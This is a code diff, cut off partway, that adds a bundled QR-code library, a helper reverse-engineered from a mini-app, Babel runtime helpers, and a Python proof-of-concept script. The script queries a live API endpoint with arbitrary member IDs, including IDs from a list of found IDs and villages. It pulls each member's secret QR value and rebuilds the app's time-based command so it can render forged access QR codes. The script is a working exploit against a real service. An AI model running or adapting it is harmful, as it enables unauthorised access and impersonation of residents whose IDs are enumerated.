if (t < 27) switch (r) { + case o: + return 12; + case a: + return 11; + case i: + return 16; + case u: + return 10; + default: + throw new Error("mode:" + r) + } else { + if (!(t < 41)) throw new Error("type:" + t); + switch (r) { + case o: + return 14; + case a: + return 13; + case i: + return 16; + case u: + return 12; + default: + throw new Error("mode:" + r) + } + } + }, e.getLostPoint = function(r) { + for (var t = r.getModuleCount(), e = 0, n = 0; n < t; n += 1) + for (var o = 0; o < t; o += 1) { + for (var a = 0, i = r.isDark(n, o), u = -1; u <= 1; u += 1) + if (!(n + u < 0 || t <= n + u)) + for (var f = -1; f <= 1; f += 1) o + f < 0 || t <= o + f || 0 === u && 0 === f || i === r.isDark(n + u, o + f) && (a += 1); + a > 5 && (e += 3 + a - 5) + } + for (var g = 0; g < t - 1; g += 1) + for (var c = 0; c < t - 1; c += 1) { + var h = 0; + r.isDark(g, c) && (h += 1), r.isDark(g + 1, c) && (h += 1), r.isDark(g, c + 1) && (h += 1), r.isDark(g + 1, c + 1) && (h += 1), 0 !== h && 4 !== h || (e += 3) + } + for (var l = 0; l < t; l += 1) + for (var v = 0; v < t - 6; v += 1) r.isDark(l, v) && !r.isDark(l, v + 1) && r.isDark(l, v + 2) && r.isDark(l, v + 3) && r.isDark(l, v + 4) && !r.isDark(l, v + 5) && r.isDark(l, v + 6) && (e += 40); + for (var s = 0; s < t; s += 1) + for (var w = 0; w < t - 6; w += 1) r.isDark(w, s) && !r.isDark(w + 1, s) && r.isDark(w + 2, s) && r.isDark(w + 3, s) && r.isDark(w + 4, s) && !r.isDark(w + 5, s) && r.isDark(w + 6, s) && (e += 40); + for (var d = 0, y = 0; y < t; y += 1) + for (var p = 0; p < t; p += 1) r.isDark(p, y) && (d += 1); + return e += Math.abs(100 * d / t / t - 50) / 5 * 10 + }, e), + p = function() { + for (var r = new Array(256), t = new Array(256), e = 0; e < 8; e += 1) r[e] = 1 << e; + for (var n = 8; n < 256; n += 1) r[n] = r[n - 4] ^ r[n - 5] ^ r[n - 6] ^ r[n - 8]; + for (var o = 0; o < 255; o += 1) t[r[o]] = o; + var a = { + glog: function(r) { + if (r < 1) throw new Error("glog(" + r + ")"); + return t[r] + }, + gexp: function(t) { + for (; t < 0;) t += 255; + for (; t >= 256;) t -= 255; + return r[t] + } + }; + return a + }(); + +function B(r, t) { + if (void 0 === r.length) throw new Error(r.length + "/" + t); + var e = function() { + for (var e = 0; e < r.length && 0 === r[e];) e += 1; + for (var n = new Array(r.length - e + t), o = 0; o < r.length - e; o += 1) n[o] = r[o + e]; + return n + }(), + n = { + getAt: function(r) { + return e[r] + }, + getLength: function() { + return e.length + }, + multiply: function(r) { + for (var t = new Array(n.getLength() + r.getLength() - 1), e = 0; e < n.getLength(); e += 1) + for (var o = 0; o < r.getLength(); o += 1) t[e + o] ^= p.gexp(p.glog(n.getAt(e)) + p.glog(r.getAt(o))); + return B(t, 0) + }, + mod: function(r) { + if (n.getLength() - r.getLength() < 0) return n; + for (var t = p.glog(n.getAt(0)) - p.glog(r.getAt(0)), e = new Array(n.getLength()), o = 0; o < n.getLength(); o += 1) e[o] = n.getAt(o); + for (var a = 0; a < r.getLength(); a += 1) e[a] ^= p.gexp(p.glog(r.getAt(a)) + t); + return B(e, 0).mod(r) + } + }; + return n +} +var C = function() { + var r = [ + [1, 26, 19], + [1, 26, 16], + [1, 26, 13], + [1, 26, 9], + [1, 44, 34], + [1, 44, 28], + [1, 44, 22], + [1, 44, 16], + [1, 70, 55], + [1, 70, 44], + [2, 35, 17], + [2, 35, 13], + [1, 100, 80], + [2, 50, 32], + [2, 50, 24], + [4, 25, 9], + [1, 134, 108], + [2, 67, 43], + [2, 33, 15, 2, 34, 16], + [2, 33, 11, 2, 34, 12], + [2, 86, 68], + [4, 43, 27], + [4, 43, 19], + [4, 43, 15], + [2, 98, 78], + [4, 49, 31], + [2, 32, 14, 4, 33, 15], + [4, 39, 13, 1, 40, 14], + [2, 121, 97], + [2, 60, 38, 2, 61, 39], + [4, 40, 18, 2, 41, 19], + [4, 40, 14, 2, 41, 15], + [2, 146, 116], + [3, 58, 36, 2, 59, 37], + [4, 36, 16, 4, 37, 17], + [4, 36, 12, 4, 37, 13], + [2, 86, 68, 2, 87, 69], + [4, 69, 43, 1, 70, 44], + [6, 43, 19, 2, 44, 20], + [6, 43, 15, 2, 44, 16], + [4, 101, 81], + [1, 80, 50, 4, 81, 51], + [4, 50, 22, 4, 51, 23], + [3, 36, 12, 8, 37, 13], + [2, 116, 92, 2, 117, 93], + [6, 58, 36, 2, 59, 37], + [4, 46, 20, 6, 47, 21], + [7, 42, 14, 4, 43, 15], + [4, 133, 107], + [8, 59, 37, 1, 60, 38], + [8, 44, 20, 4, 45, 21], + [12, 33, 11, 4, 34, 12], + [3, 145, 115, 1, 146, 116], + [4, 64, 40, 5, 65, 41], + [11, 36, 16, 5, 37, 17], + [11, 36, 12, 5, 37, 13], + [5, 109, 87, 1, 110, 88], + [5, 65, 41, 5, 66, 42], + [5, 54, 24, 7, 55, 25], + [11, 36, 12], + [5, 122, 98, 1, 123, 99], + [7, 73, 45, 3, 74, 46], + [15, 43, 19, 2, 44, 20], + [3, 45, 15, 13, 46, 16], + [1, 135, 107, 5, 136, 108], + [10, 74, 46, 1, 75, 47], + [1, 50, 22, 15, 51, 23], + [2, 42, 14, 17, 43, 15], + [5, 150, 120, 1, 151, 121], + [9, 69, 43, 4, 70, 44], + [17, 50, 22, 1, 51, 23], + [2, 42, 14, 19, 43, 15], + [3, 141, 113, 4, 142, 114], + [3, 70, 44, 11, 71, 45], + [17, 47, 21, 4, 48, 22], + [9, 39, 13, 16, 40, 14], + [3, 135, 107, 5, 136, 108], + [3, 67, 41, 13, 68, 42], + [15, 54, 24, 5, 55, 25], + [15, 43, 15, 10, 44, 16], + [4, 144, 116, 4, 145, 117], + [17, 68, 42], + [17, 50, 22, 6, 51, 23], + [19, 46, 16, 6, 47, 17], + [2, 139, 111, 7, 140, 112], + [17, 74, 46], + [7, 54, 24, 16, 55, 25], + [34, 37, 13], + [4, 151, 121, 5, 152, 122], + [4, 75, 47, 14, 76, 48], + [11, 54, 24, 14, 55, 25], + [16, 45, 15, 14, 46, 16], + [6, 147, 117, 4, 148, 118], + [6, 73, 45, 14, 74, 46], + [11, 54, 24, 16, 55, 25], + [30, 46, 16, 2, 47, 17], + [8, 132, 106, 4, 133, 107], + [8, 75, 47, 13, 76, 48], + [7, 54, 24, 22, 55, 25], + [22, 45, 15, 13, 46, 16], + [10, 142, 114, 2, 143, 115], + [19, 74, 46, 4, 75, 47], + [28, 50, 22, 6, 51, 23], + [33, 46, 16, 4, 47, 17], + [8, 152, 122, 4, 153, 123], + [22, 73, 45, 3, 74, 46], + [8, 53, 23, 26, 54, 24], + [12, 45, 15, 28, 46, 16], + [3, 147, 117, 10, 148, 118], + [3, 73, 45, 23, 74, 46], + [4, 54, 24, 31, 55, 25], + [11, 45, 15, 31, 46, 16], + [7, 146, 116, 7, 147, 117], + [21, 73, 45, 7, 74, 46], + [1, 53, 23, 37, 54, 24], + [19, 45, 15, 26, 46, 16], + [5, 145, 115, 10, 146, 116], + [19, 75, 47, 10, 76, 48], + [15, 54, 24, 25, 55, 25], + [23, 45, 15, 25, 46, 16], + [13, 145, 115, 3, 146, 116], + [2, 74, 46, 29, 75, 47], + [42, 54, 24, 1, 55, 25], + [23, 45, 15, 28, 46, 16], + [17, 145, 115], + [10, 74, 46, 23, 75, 47], + [10, 54, 24, 35, 55, 25], + [19, 45, 15, 35, 46, 16], + [17, 145, 115, 1, 146, 116], + [14, 74, 46, 21, 75, 47], + [29, 54, 24, 19, 55, 25], + [11, 45, 15, 46, 46, 16], + [13, 145, 115, 6, 146, 116], + [14, 74, 46, 23, 75, 47], + [44, 54, 24, 7, 55, 25], + [59, 46, 16, 1, 47, 17], + [12, 151, 121, 7, 152, 122], + [12, 75, 47, 26, 76, 48], + [39, 54, 24, 14, 55, 25], + [22, 45, 15, 41, 46, 16], + [6, 151, 121, 14, 152, 122], + [6, 75, 47, 34, 76, 48], + [46, 54, 24, 10, 55, 25], + [2, 45, 15, 64, 46, 16], + [17, 152, 122, 4, 153, 123], + [29, 74, 46, 14, 75, 47], + [49, 54, 24, 10, 55, 25], + [24, 45, 15, 46, 46, 16], + [4, 152, 122, 18, 153, 123], + [13, 74, 46, 32, 75, 47], + [48, 54, 24, 14, 55, 25], + [42, 45, 15, 32, 46, 16], + [20, 147, 117, 4, 148, 118], + [40, 75, 47, 7, 76, 48], + [43, 54, 24, 22, 55, 25], + [10, 45, 15, 67, 46, 16], + [19, 148, 118, 6, 149, 119], + [18, 75, 47, 31, 76, 48], + [34, 54, 24, 34, 55, 25], + [20, 45, 15, 61, 46, 16] + ], + t = function(r, t) { + var e = {}; + return e.totalCount = r, e.dataCount = t, e + }, + e = {}; + return e.getRSBlocks = function(e, n) { + var o = function(t, e) { + switch (e) { + case f.L: + return r[4 * (t - 1)]; + case f.M: + return r[4 * (t - 1) + 1]; + case f.Q: + return r[4 * (t - 1) + 2]; + case f.H: + return r[4 * (t - 1) + 3]; + default: + return + } + }(e, n); + if (void 0 === o) throw new Error("bad rs block @ typeNumber:" + e + "/errorCorrectLevel:" + n); + for (var a = o.length / 3, i = [], u = 0; u < a; u += 1) + for (var g = o[3 * u], c = o[3 * u + 1], h = o[3 * u + 2], l = 0; l < g; l += 1) i.push(t(c, h)); + return i + }, e + }(), + k = function() { + var r = [], + t = 0, + e = { + getBuffer: function() { + return r + }, + getAt: function(t) { + var e = Math.floor(t / 8); + return 1 == (r[e] >>> 7 - t % 8 & 1) + }, + put: function(r, t) { + for (var n = 0; n < t; n += 1) e.putBit(1 == (r >>> t - n - 1 & 1)) + }, + getLengthInBits: function() { + return t + }, + putBit: function(e) { + var n = Math.floor(t / 8); + r.length <= n && r.push(0), e && (r[n] |= 128 >>> t % 8), t += 1 + } + }; + return e + }, + m = function(r) { + for (var t = i, e = r, n = [], o = {}, a = 0, u = e.length; a < u; a++) { + var f = [], + g = e.charCodeAt(a); + g > 65536 ? (f[0] = 240 | (1835008 & g) >>> 18, f[1] = 128 | (258048 & g) >>> 12, f[2] = 128 | (4032 & g) >>> 6, f[3] = 128 | 63 & g) : g > 2048 ? (f[0] = 224 | (61440 & g) >>> 12, f[1] = 128 | (4032 & g) >>> 6, f[2] = 128 | 63 & g) : g > 128 ? (f[0] = 192 | (1984 & g) >>> 6, f[1] = 128 | 63 & g) : f[0] = g, n.push(f) + }(n = Array.prototype.concat.apply([], n)).length !== e.length && (n.unshift(191), n.unshift(187), n.unshift(239)); + var c = n; + return o.getMode = function() { + return t + }, o.getLength = function(r) { + return c.length + }, o.write = function(r) { + for (var t = 0; t < c.length; t += 1) r.put(c[t], 8) + }, o + }, + A = function() { + var r = [], + t = { + writeByte: function(t) { + r.push(255 & t) + }, + writeShort: function(r) { + t.writeByte(r), t.writeByte(r >>> 8) + }, + writeBytes: function(r, e, n) { + e = e || 0, n = n || r.length; + for (var o = 0; o < n; o += 1) t.writeByte(r[o + e]) + }, + writeString: function(r) { + for (var e = 0; e < r.length; e += 1) t.writeByte(r.charCodeAt(e)) + }, + toByteArray: function() { + return r + }, + toString: function() { + var t = ""; + t += "["; + for (var e = 0; e < r.length; e += 1) e > 0 && (t += ","), t += r[e]; + return t += "]" + } + }; + return t + }, + L = function(r) { + var t = r, + e = 0, + n = 0, + o = 0, + a = { + read: function() { + for (; o < 8;) { + if (e >= t.length) { + if (0 === o) return -1; + throw new Error("unexpected end of file./" + o) + } + var r = t.charAt(e); + if (e += 1, "=" === r) return o = 0, -1; + r.match(/^\s$/) || (n = n << 6 | i(r.charCodeAt(0)), o += 6) + } + var a = n >>> o - 8 & 255; + return o -= 8, a + } + }, + i = function(r) { + if (65 <= r && r <= 90) return r - 65; + if (97 <= r && r <= 122) return r - 97 + 26; + if (48 <= r && r <= 57) return r - 48 + 52; + if (43 == r) return 62; + if (47 == r) return 63; + throw new Error("c:" + r) + }; + return a + }, + M = function(r, t) { + var e = r, + n = t, + o = new Array(r * t), + a = { + setPixel: function(r, t, n) { + o[t * e + r] = n + }, + write: function(r) { + r.writeString("GIF87a"), r.writeShort(e), r.writeShort(n), r.writeByte(128), r.writeByte(0), r.writeByte(0), r.writeByte(0), r.writeByte(0), r.writeByte(0), r.writeByte(255), r.writeByte(255), r.writeByte(255), r.writeString(","), r.writeShort(0), r.writeShort(0), r.writeShort(e), r.writeShort(n), r.writeByte(0); + var t = i(2); + r.writeByte(2); + for (var o = 0; t.length - o > 255;) r.writeByte(255), r.writeBytes(t, o, 255), o += 255; + r.writeByte(t.length - o), r.writeBytes(t, o, t.length - o), r.writeByte(0), r.writeString(";") + } + }, + i = function(r) { + for (var t = 1 << r, e = 1 + (1 << r), n = r + 1, a = u(), i = 0; i < t; i += 1) a.add(String.fromCharCode(i)); + a.add(String.fromCharCode(t)), a.add(String.fromCharCode(e)); + var f = A(), + g = function(r) { + var t = r, + e = 0, + n = 0, + o = { + write: function(r, o) { + if (r >>> o != 0) throw new Error("length over"); + for (; e + o >= 8;) t.writeByte(255 & (r << e | n)), o -= 8 - e, r >>>= 8 - e, n = 0, e = 0; + n |= r << e, e += o + }, + flush: function() { + e > 0 && t.writeByte(n) + } + }; + return o + }(f); + g.write(t, n); + var c = 0, + h = String.fromCharCode(o[c]); + for (c += 1; c < o.length;) { + var l = String.fromCharCode(o[c]); + c += 1, a.contains(h + l) ? h += l : (g.write(a.indexOf(h), n), a.size() < 4095 && (a.size() === 1 << n && (n += 1), a.add(h + l)), h = l) + } + return g.write(a.indexOf(h), n), g.write(e, n), g.flush(), f.toByteArray() + }, + u = function() { + var r = {}, + t = 0, + e = { + add: function(n) { + if (e.contains(n)) throw new Error("dup key:" + n); + r[n] = t, t += 1 + }, + size: function() { + return t + }, + indexOf: function(t) { + return r[t] + }, + contains: function(t) { + return void 0 !== r[t] + } + }; + return e + }; + return a + }, + b = function(r, t, e, n) { + for (var o = M(r, t), a = 0; a < t; a += 1) + for (var i = 0; i < r; i += 1) o.setPixel(i, a, e(i, a)); + var u = A(); + o.write(u); + for (var f = function() { + var r = 0, + t = 0, + e = 0, + n = "", + o = {}, + a = function(r) { + n += String.fromCharCode(i(63 & r)) + }, + i = function(r) { + if (r < 0); + else { + if (r < 26) return 65 + r; + if (r < 52) return r - 26 + 97; + if (r < 62) return r - 52 + 48; + if (62 === r) return 43; + if (63 === r) return 47 + } + throw new Error("n:" + r) + }; + return o.writeByte = function(n) { + for (r = r << 8 | 255 & n, t += 8, e += 1; t >= 6;) a(r >>> t - 6), t -= 6 + }, o.flush = function() { + if (t > 0 && (a(r << 6 - t), r = 0, t = 0), e % 3 != 0) + for (var o = 3 - e % 3, i = 0; i < o; i += 1) n += "=" + }, o.toString = function() { + return n + }, o + }(), g = u.toByteArray(), c = 0; c < g.length; c += 1) f.writeByte(g[c]); + f.flush(); + var h = ""; + return h += "data:image/gif;base64,", h += f + }, + D = function t(e, n) { + var o, a = (n = n || {}).typeNumber || 4, + i = n.errorCorrectLevel || "M", + u = n.size || 500; + try { + (o = r(a, i || "M")).addData(e), o.make() + } catch (r) { + if (a >= 40) throw new Error("Text too long to encode"); + return t(e, { + size: u, + errorCorrectLevel: i, + typeNumber: a + 1 + }) + } + var f = parseInt(u / o.getModuleCount()), + g = parseInt((u - o.getModuleCount() * f) / 2); + return o.createImgTag(f, g, u) + }; +exports.QR = D; \ No newline at end of file diff --git a/js/21D38FE5F73FD4DF47B5E7E2FB120D83.js b/js/21D38FE5F73FD4DF47B5E7E2FB120D83.js new file mode 100644 index 0000000..ccee79b --- /dev/null +++ b/js/21D38FE5F73FD4DF47B5E7E2FB120D83.js @@ -0,0 +1,65 @@ +Object.defineProperty(exports, "__esModule", { + value: !0 +}), exports.decode = function() { + var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : "", + r = t.match(/[0-9A-F]{2}/gi), + n = r.map((function(t) { + return Number.parseInt(t, 16) + })), + e = n.map((function(t) { + return String.fromCharCode(t) + })).join(""), + a = e.substring(1, 13).match(/[0-9A-F]{2}/gi), + u = a.map((function(t) { + return Number.parseInt(t, 16) + })), + o = u[0] ^ u[2]; + o = 255 & (o = (o = (o = (o += u[4]) ^ u[1]) + u[3]) ^ u[5]); + var i = e.slice(13, -4).match(/[0-9A-F]{2}/gi).map((function(t) { + return Number.parseInt(t, 16) ^ o + })); + return i.map((function(t) { + return Number(t).toString(16).padStart(2, "0").toUpperCase() + })) +}, exports.getCommand = function() { + var r = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : "", + n = new Date, + e = n.getFullYear(), + a = n.getMonth() + 1, + u = n.getDate(), + o = n.getHours(), + i = n.getMinutes(), + p = n.getSeconds(), + c = [e % 100, a, u, o, i, p].map((function(t) { + return t.toString().padStart(2, "0") + })), + m = c.map((function(t) { + return Number.parseInt(t, 16) + })), + s = m[0] ^ m[2]; + s = 255 & (s = (s = (s = (s += m[4]) ^ m[1]) + m[3]) ^ m[5]); + var g = r.match(/[0-9A-F]{2}/gi).map((function(t) { + return (Number.parseInt(t, 16) ^ s).toString(16).padStart(2, "0") + })), + f = [].concat(t(c), t(g)).join("").toUpperCase(), + d = t(f).map((function(t) { + return t.charCodeAt(0) + })), + h = [3].concat(t(d), [4]), + S = h.reduce((function(t, r) { + return t ^ r + })).toString(16).padStart(2, "0").toUpperCase(); + return h.push.apply(h, t(t(S).map((function(t) { + return t.charCodeAt(0) + })))), h.push(13), { + toArray: function() { + return h + }, + toString: function() { + return h.map((function(t) { + return String.fromCharCode(t) + })).join("") + } + } +}; +var t = require("./@babel/runtime/helpers/toConsumableArray.js"); \ No newline at end of file diff --git a/js/@babel/runtime/helpers/Arrayincludes.js b/js/@babel/runtime/helpers/Arrayincludes.js new file mode 100644 index 0000000..c92c971 --- /dev/null +++ b/js/@babel/runtime/helpers/Arrayincludes.js @@ -0,0 +1,13 @@ +Array.prototype.includes || Object.defineProperty(Array.prototype, "includes", { + value: function(r, e) { + if (null == this) throw new TypeError('"this" is null or not defined'); + var t = Object(this), + n = t.length >>> 0; + if (0 == n) return !1; + for (var i, o, a = 0 | e, u = Math.max(0 <= a ? a : n - Math.abs(a), 0); u < n;) { + if ((i = t[u]) === (o = r) || "number" == typeof i && "number" == typeof o && isNaN(i) && isNaN(o)) return !0; + u++ + } + return !1 + } +}); \ No newline at end of file diff --git a/js/@babel/runtime/helpers/arrayLikeToArray.js b/js/@babel/runtime/helpers/arrayLikeToArray.js new file mode 100644 index 0000000..f41fa26 --- /dev/null +++ b/js/@babel/runtime/helpers/arrayLikeToArray.js @@ -0,0 +1,6 @@ +function _arrayLikeToArray(r, a) { + (null == a || a > r.length) && (a = r.length); + for (var e = 0, n = new Array(a); e < a; e++) n[e] = r[e]; + return n +} +module.exports = _arrayLikeToArray; \ No newline at end of file diff --git a/js/@babel/runtime/helpers/arrayWithoutHoles.js b/js/@babel/runtime/helpers/arrayWithoutHoles.js new file mode 100644 index 0000000..b32d4cc --- /dev/null +++ b/js/@babel/runtime/helpers/arrayWithoutHoles.js @@ -0,0 +1,6 @@ +var arrayLikeToArray = require("./arrayLikeToArray"); + +function _arrayWithoutHoles(r) { + if (Array.isArray(r)) return arrayLikeToArray(r) +} +module.exports = _arrayWithoutHoles; \ No newline at end of file diff --git a/js/@babel/runtime/helpers/createForOfIteratorHelper.js b/js/@babel/runtime/helpers/createForOfIteratorHelper.js new file mode 100644 index 0000000..ab761f1 --- /dev/null +++ b/js/@babel/runtime/helpers/createForOfIteratorHelper.js @@ -0,0 +1,50 @@ +var unsupportedIterableToArray = require("./unsupportedIterableToArray"); + +function _createForOfIteratorHelper(r, e) { + var t = "undefined" != typeof Symbol && r[Symbol.iterator] || r["@@iterator"]; + if (!t) { + if (Array.isArray(r) || (t = unsupportedIterableToArray(r)) || e && r && "number" == typeof r.length) { + t && (r = t); + var n = 0, + o = function() {}; + return { + s: o, + n: function() { + return n >= r.length ? { + done: !0 + } : { + done: !1, + value: r[n++] + } + }, + e: function(r) { + throw r + }, + f: o + } + } + throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.") + } + var a, u = !0, + i = !1; + return { + s: function() { + t = t.call(r) + }, + n: function() { + var r = t.next(); + return u = r.done, r + }, + e: function(r) { + i = !0, a = r + }, + f: function() { + try { + u || null == t.return || t.return() + } finally { + if (i) throw a + } + } + } +} +module.exports = _createForOfIteratorHelper; \ No newline at end of file diff --git a/js/@babel/runtime/helpers/defineProperty.js b/js/@babel/runtime/helpers/defineProperty.js new file mode 100644 index 0000000..10a5324 --- /dev/null +++ b/js/@babel/runtime/helpers/defineProperty.js @@ -0,0 +1,11 @@ +var toPropertyKey = require("./toPropertyKey"); + +function _defineProperty(e, r, t) { + return (r = toPropertyKey(r)) in e ? Object.defineProperty(e, r, { + value: t, + enumerable: !0, + configurable: !0, + writable: !0 + }) : e[r] = t, e +} +module.exports = _defineProperty; \ No newline at end of file diff --git a/js/@babel/runtime/helpers/iterableToArray.js b/js/@babel/runtime/helpers/iterableToArray.js new file mode 100644 index 0000000..a3c06d6 --- /dev/null +++ b/js/@babel/runtime/helpers/iterableToArray.js @@ -0,0 +1,4 @@ +function _iterableToArray(r) { + if ("undefined" != typeof Symbol && null != r[Symbol.iterator] || null != r["@@iterator"]) return Array.from(r) +} +module.exports = _iterableToArray; \ No newline at end of file diff --git a/js/@babel/runtime/helpers/nonIterableSpread.js b/js/@babel/runtime/helpers/nonIterableSpread.js new file mode 100644 index 0000000..f6335c3 --- /dev/null +++ b/js/@babel/runtime/helpers/nonIterableSpread.js @@ -0,0 +1,4 @@ +function _nonIterableSpread() { + throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.") +} +module.exports = _nonIterableSpread; \ No newline at end of file diff --git a/js/@babel/runtime/helpers/toConsumableArray.js b/js/@babel/runtime/helpers/toConsumableArray.js new file mode 100644 index 0000000..5de810d --- /dev/null +++ b/js/@babel/runtime/helpers/toConsumableArray.js @@ -0,0 +1,9 @@ +var arrayWithoutHoles = require("./arrayWithoutHoles"), + iterableToArray = require("./iterableToArray"), + unsupportedIterableToArray = require("./unsupportedIterableToArray"), + nonIterableSpread = require("./nonIterableSpread"); + +function _toConsumableArray(r) { + return arrayWithoutHoles(r) || iterableToArray(r) || unsupportedIterableToArray(r) || nonIterableSpread() +} +module.exports = _toConsumableArray; \ No newline at end of file diff --git a/js/@babel/runtime/helpers/toPrimitive.js b/js/@babel/runtime/helpers/toPrimitive.js new file mode 100644 index 0000000..2e17d74 --- /dev/null +++ b/js/@babel/runtime/helpers/toPrimitive.js @@ -0,0 +1,13 @@ +var _typeof = require("./typeof"); + +function _toPrimitive(r, t) { + if ("object" !== _typeof(r) || null === r) return r; + var e = r[Symbol.toPrimitive]; + if (void 0 !== e) { + var i = e.call(r, t || "default"); + if ("object" !== _typeof(i)) return i; + throw new TypeError("@@toPrimitive must return a primitive value.") + } + return ("string" === t ? String : Number)(r) +} +module.exports = _toPrimitive; \ No newline at end of file diff --git a/js/@babel/runtime/helpers/toPropertyKey.js b/js/@babel/runtime/helpers/toPropertyKey.js new file mode 100644 index 0000000..6ff837a --- /dev/null +++ b/js/@babel/runtime/helpers/toPropertyKey.js @@ -0,0 +1,8 @@ +var _typeof = require("./typeof"), + toPrimitive = require("./toPrimitive"); + +function _toPropertyKey(r) { + var t = toPrimitive(r, "string"); + return "symbol" === _typeof(t) ? t : String(t) +} +module.exports = _toPropertyKey; \ No newline at end of file diff --git a/js/@babel/runtime/helpers/typeof.js b/js/@babel/runtime/helpers/typeof.js new file mode 100644 index 0000000..515bf5f --- /dev/null +++ b/js/@babel/runtime/helpers/typeof.js @@ -0,0 +1,23 @@ +/* +* 为了解决 TypeError: _typeofX is not a function 问题, 使用了注入该段代码, 这样只能解决部分问题 +* 但是默认有一劳永逸解决的方法,如果你遇到这该类型报错 +* 请按操作执行: 右上角点击“详情”=>“本地设置”=>“将JS编译成ES5”=>取消勾选 +* */ + +function _typeof2(o) { + return (_typeof2 = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (o) { + return typeof o; + } : function (o) { + return o && "function" == typeof Symbol && o.constructor === Symbol && o !== Symbol.prototype ? "symbol" : typeof o; + })(o); +} + +function _typeof(o) { + return "function" == typeof Symbol && "symbol" === _typeof2(Symbol.iterator) ? module.exports = _typeof = function (o) { + return _typeof2(o); + } : module.exports = _typeof = function (o) { + return o && "function" == typeof Symbol && o.constructor === Symbol && o !== Symbol.prototype ? "symbol" : _typeof2(o); + }, _typeof(o); +} + +module.exports = _typeof; \ No newline at end of file diff --git a/js/@babel/runtime/helpers/unsupportedIterableToArray.js b/js/@babel/runtime/helpers/unsupportedIterableToArray.js new file mode 100644 index 0000000..704c68d --- /dev/null +++ b/js/@babel/runtime/helpers/unsupportedIterableToArray.js @@ -0,0 +1,10 @@ +var arrayLikeToArray = require("./arrayLikeToArray"); + +function _unsupportedIterableToArray(r, e) { + if (r) { + if ("string" == typeof r) return arrayLikeToArray(r, e); + var t = Object.prototype.toString.call(r).slice(8, -1); + return "Object" === t && r.constructor && (t = r.constructor.name), "Map" === t || "Set" === t ? Array.from(r) : "Arguments" === t || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(t) ? arrayLikeToArray(r, e) : void 0 + } +} +module.exports = _unsupportedIterableToArray; \ No newline at end of file diff --git a/miniapp_qr_poc.py b/miniapp_qr_poc.py new file mode 100644 index 0000000..aed9503 --- /dev/null +++ b/miniapp_qr_poc.py @@ -0,0 +1,186 @@ +import argparse +import base64 +import json +import os +import re +import subprocess +import urllib.request +from datetime import datetime +from pathlib import Path +from zoneinfo import ZoneInfo + +API_URL = "https://jsh.szsentry.com/api//mine/one_see_secret_word" +BASE_DIR = Path(__file__).resolve().parent +HELPER_JS = BASE_DIR / "js" / "21D38FE5F73FD4DF47B5E7E2FB120D83.js" +QR_JS = BASE_DIR / "js" / "0C723952F73FD4DF6A145155C4220D83.js" +FOUND_IDS_FILE = BASE_DIR / "found_ids.txt" +FOUND_ID_PATTERN = re.compile(r"ID:\s*(\d+)\s*\|\s*Village:\s*(.+)") +DEFAULT_TIMEZONE = ZoneInfo(os.getenv("MINIAPP_QR_TIMEZONE", "Asia/Shanghai")) + + +def fetch(member_id: int): + body = json.dumps({"member_id": member_id}).encode() + req = urllib.request.Request( + API_URL, + data=body, + headers={"Content-Type": "application/json"}, + method="POST", + ) + with urllib.request.urlopen(req, timeout=20) as resp: + return json.loads(resp.read().decode("utf-8")) + + +def get_command(qr_hex: str, dt: datetime | None = None) -> bytes: + if dt is None: + dt = datetime.now(DEFAULT_TIMEZONE) + elif dt.tzinfo is None: + dt = dt.replace(tzinfo=DEFAULT_TIMEZONE) + else: + dt = dt.astimezone(DEFAULT_TIMEZONE) + c = [ + f"{dt.year % 100:02d}", + f"{dt.month:02d}", + f"{dt.day:02d}", + f"{dt.hour:02d}", + f"{dt.minute:02d}", + f"{dt.second:02d}", + ] + m = [int(x, 16) for x in c] + s = m[0] ^ m[2] + s = (((s + m[4]) ^ m[1]) + m[3]) ^ m[5] + s &= 0xFF + + pairs = re.findall(r"[0-9A-Fa-f]{2}", qr_hex) + g = [f"{(int(x, 16) ^ s):02X}" for x in pairs] + f = ("".join(c) + "".join(g)).upper() + d = [ord(ch) for ch in f] + h = [0x03] + d + [0x04] + chk = 0 + for x in h: + chk ^= x + chk_hex = f"{chk:02X}" + h.extend(ord(ch) for ch in chk_hex) + h.append(0x0D) + return bytes(h) + + +def render_with_bundled_js(qr_hex: str) -> str: + js = f''' +const helper = require({json.dumps(str(HELPER_JS))}); +const qr = require({json.dumps(str(QR_JS))}); +const out = qr.QR(helper.getCommand({json.dumps(qr_hex)}).toString()); +console.log(out); +''' + cp = subprocess.run(["node", "-e", js], capture_output=True, text=True) + if cp.returncode != 0: + raise RuntimeError(f"node failed\nstdout:\n{cp.stdout}\nstderr:\n{cp.stderr}") + return cp.stdout.strip() + + +def save_data_url(data_url: str, out_path: str): + m = re.match(r"data:.*?;base64,(.*)", data_url) + if not m: + raise ValueError("unexpected data URL") + raw = base64.b64decode(m.group(1)) + with open(out_path, "wb") as f: + f.write(raw) + + +def load_found_ids(path: str | Path = FOUND_IDS_FILE) -> list[dict]: + path = Path(path) + items = [] + seen = set() + if not path.exists(): + return items + + with path.open("r", encoding="utf-8") as f: + for line in f: + line = line.strip() + if not line: + continue + m = FOUND_ID_PATTERN.match(line) + if not m: + continue + member_id = int(m.group(1)) + if member_id in seen: + continue + seen.add(member_id) + village_name = m.group(2).strip() + items.append( + { + "member_id": member_id, + "village_name": village_name, + "label": f"{member_id} | {village_name}", + } + ) + return items + + +def summarize_response(resp: dict) -> dict: + data = resp.get("data") or {} + return { + "status": resp.get("status"), + "msg": resp.get("msg"), + "member_id": data.get("member_id"), + "village_name": data.get("village_name"), + "uuid": data.get("uuid"), + "qr_prefix": str(data.get("qr", ""))[:40], + } + + +def generate_member_qr(member_id: int, include_data_url: bool = False) -> dict: + resp = fetch(member_id) + data = resp.get("data") or {} + qr_hex = data.get("qr") + if not qr_hex: + raise ValueError(f"member_id={member_id} did not return qr data") + + payload = get_command(qr_hex) + result = summarize_response(resp) + result.update( + { + "qr_hex": qr_hex, + "payload_len": len(payload), + "payload_hex_prefix": payload.hex()[:160], + } + ) + if include_data_url: + result["data_url"] = render_with_bundled_js(qr_hex) + return result + + +def main(): + ap = argparse.ArgumentParser() + ap.add_argument("--member-id", type=int) + ap.add_argument("--qr") + ap.add_argument("--json-out") + ap.add_argument("--gif-out") + args = ap.parse_args() + + resp = None + qr_hex = args.qr 